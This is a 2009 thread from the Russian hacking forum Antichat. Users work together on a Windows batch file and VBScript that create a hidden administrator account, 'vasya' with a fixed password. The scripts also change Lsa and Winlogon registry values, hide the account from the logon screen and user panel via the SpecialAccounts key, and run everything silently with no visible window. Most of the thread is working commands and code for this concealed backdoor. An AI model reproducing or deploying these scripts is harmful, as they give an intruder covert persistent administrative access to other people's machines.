Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Давайте напишем cmd файл. |

30.10.2009, 12:03
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Давайте напишем cmd файл.
Вопчем нужно:
1. Добавить пользователя, добавить его в группу администраторы.
2. Отключить простой общий доступ к файлам и принтерам (изменить параметр в реестре).
3. Отключить приглашение входа в ситему (страница приветсвия и выбора пользователей, тоже реестр)
Нужно чтоб прокатывало на XP и на висте.
Поехали:
net user vasya 123456 /add /y
net group Администраторы vasya /add
дальше...?
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Ls a /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Ls a /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\Ls a /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet004\Control\Ls a /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet005\Control\Ls a /v forceguest /t REG_DWORD /d 00000000 /f
Последний раз редактировалось -=lebed=-; 30.10.2009 в 12:54..
|
|
|

30.10.2009, 12:44
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
НУ если под 2) имеется ввиду снятие галки с "Сервис - Свойства папки - Вид - Дополнительные параметры - Использовать простой общий доступ к файлам (рекомендуется)."
тогда:
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
Пробел в слове Control убрать.. 
|
|
|

30.10.2009, 12:51
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Fepsis
НУ если под 2) имеется ввиду снятие галки с "Сервис - Свойства папки - Вид - Дополнительные параметры - Использовать простой общий доступ к файлам (рекомендуется)."
тогда:
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
Пробел в слове Control убрать.. 
HKEY_LOCAL_MASHINE\SYSTEM\ControlSet00_номер нашего профиля\Control\Lsa' параметр 'forceguest' присваиваем значение 0.
Я так понял для всех профилей надо сделать? Или достаточно CurrentControlSet ?
|
|
|

30.10.2009, 13:00
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Ок, остался третий пункт: Отключение приглашения входа в стистему
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AllowMultipleTSSessions"=dword:00000000
"LogonType"=dword:00000000
"Background"="0 0 0" - удаляем совсем
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v AllowMultipleTSSessions /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LogonType /t REG_DWORD /d 00000000 /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Background /f
Последний раз редактировалось -=lebed=-; 30.10.2009 в 13:13..
|
|
|

30.10.2009, 13:10
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
Сообщение от -=lebed=-
HKEY_LOCAL_MASHINE\SYSTEM\ControlSet00_номер нашего профиля\Control\Lsa' параметр 'forceguest' присваиваем значение 0.
Я так понял для всех профилей надо сделать? Или достаточно CurrentControlSet ?
Вроде достаточно CurrentControlSet... Но это на ХР, на висте не знаю пойдёт ли.. не могу проверить..(
А вообще изменения реестра при смене каких-то параметров удобно смотреть с помощью Regshot...
Снимок до изменения, снимок после изменения и потом сравнить..
|
|
|

30.10.2009, 13:16
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Fepsis
Вроде достаточно CurrentControlSet... Но это на ХР, на висте не знаю пойдёт ли.. не могу проверить..(
А вообще изменения реестра при смене каких-то параметров удобно смотреть с помощью Regshot...
Снимок до изменения, снимок после изменения и потом сравнить..
Именно на висте и посмотрел, аж 5 профилей есть, но не в каждом есть параметр такой.
cmd готов, щас буду тестить:
Код:
net user vasya 123456 /add /expires:never /times:all
net localgroup "Администраторы" vasya /add
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet004\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\ControlSet005\Control\Lsa /v forceguest /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LogonType /t REG_DWORD /d 00000000 /f
REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Background /f
P.S. Путь только в кавычки надо взять, ибо есть пробел в названии ветки Windows NT" Ну и естественно сохраняем в кодировке 866, чтоб кириллица была правильно истолкована.
Последний раз редактировалось -=lebed=-; 30.10.2009 в 13:44..
|
|
|

30.10.2009, 13:35
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
На ХР вася создаётся "ограниченым" юзером твоим батником...
Лучше так 2 первые строчки:
net user vasya 123456 /add /expires:never /times:all
net localgroup "Ђ¤¬Ё*Ёбва*в®ал" vasya /add
|
|
|

30.10.2009, 13:41
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Fepsis
На ХР вася создаётся "ограниченым" юзером твоим батником...
Лучше так 2 первые строчки:
net user vasya 123456 /add /expires:never /times:all
net localgroup "Ђ¤¬Ё*Ёбва*в®ал" vasya /add
Угу, точно localgroup, group для контроллера домена
Осталсь замутить это всё без создания окна cmd.
Последний раз редактировалось -=lebed=-; 30.10.2009 в 13:47..
|
|
|

30.10.2009, 14:05
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
Кстати, спрятать васю от посторонних глаз можно и не отключая окно приветствия и быстрое переключение пользовотелей...
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v vasya /t REG_DWORD /d 00000000 /f
Его просто не будет видно в списке пользователей (как не видно встроенную учётку админа) + не будет видно его в "панели управления - учётные записи пользователей" если смотреть под другим пользователем...
Сообщение от -=lebed=-
Осталсь замутить это всё без создания окна cmd.
Помоему средствами самого батника это нельзя сделать... Можно всё реализовать с помощью VBScript или на крайняк запустить через VBScript этот батник, отключив вывод окна...
файл .VBS
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd.exe /c название_твоего_батника.bat", 0, false
|
|
|

30.10.2009, 14:58
|
|
Познающий
Регистрация: 13.07.2009
Сообщений: 65
Провел на форуме: 507007
Репутация:
54
|
|
Можно все реализовать в *.VBS, а то два файла не очень удобно.
здесь добавляем васю с паролем, и делаем его админом:
Код:
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName
Set colAccounts = GetObject("WinNT://" & strComputer & "")
Set objUser = colAccounts.Create("user", "vasya")
objUser.SetPassword "123456"
objUser.SetInfo
Set objGroup = GetObject("WinNT://" & strComputer & "/Администраторы,group")
Set objUser = GetObject("WinNT://" & strComputer & "/vasya,user")
objGroup.Add(objUser.ADsPath)
Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000
UserFlags = objUser.Get("UserFlags")
objPasswordExpirationFlag = UserFlags OR ADS_UF_DONT_EXPIRE_PASSWD
objUser.Put "userFlags", objPasswordExpirationFlag
objUser.SetInfo
Единственное не помню как добавить параметр в реестр в VBS
по идее должно быть так:
Код:
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v vasya /t REG_DWORD /d "00000000" /f, "REG_SZ"
но нет.
Последний раз редактировалось Silly.worm; 30.10.2009 в 15:50..
Причина: исправлено
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|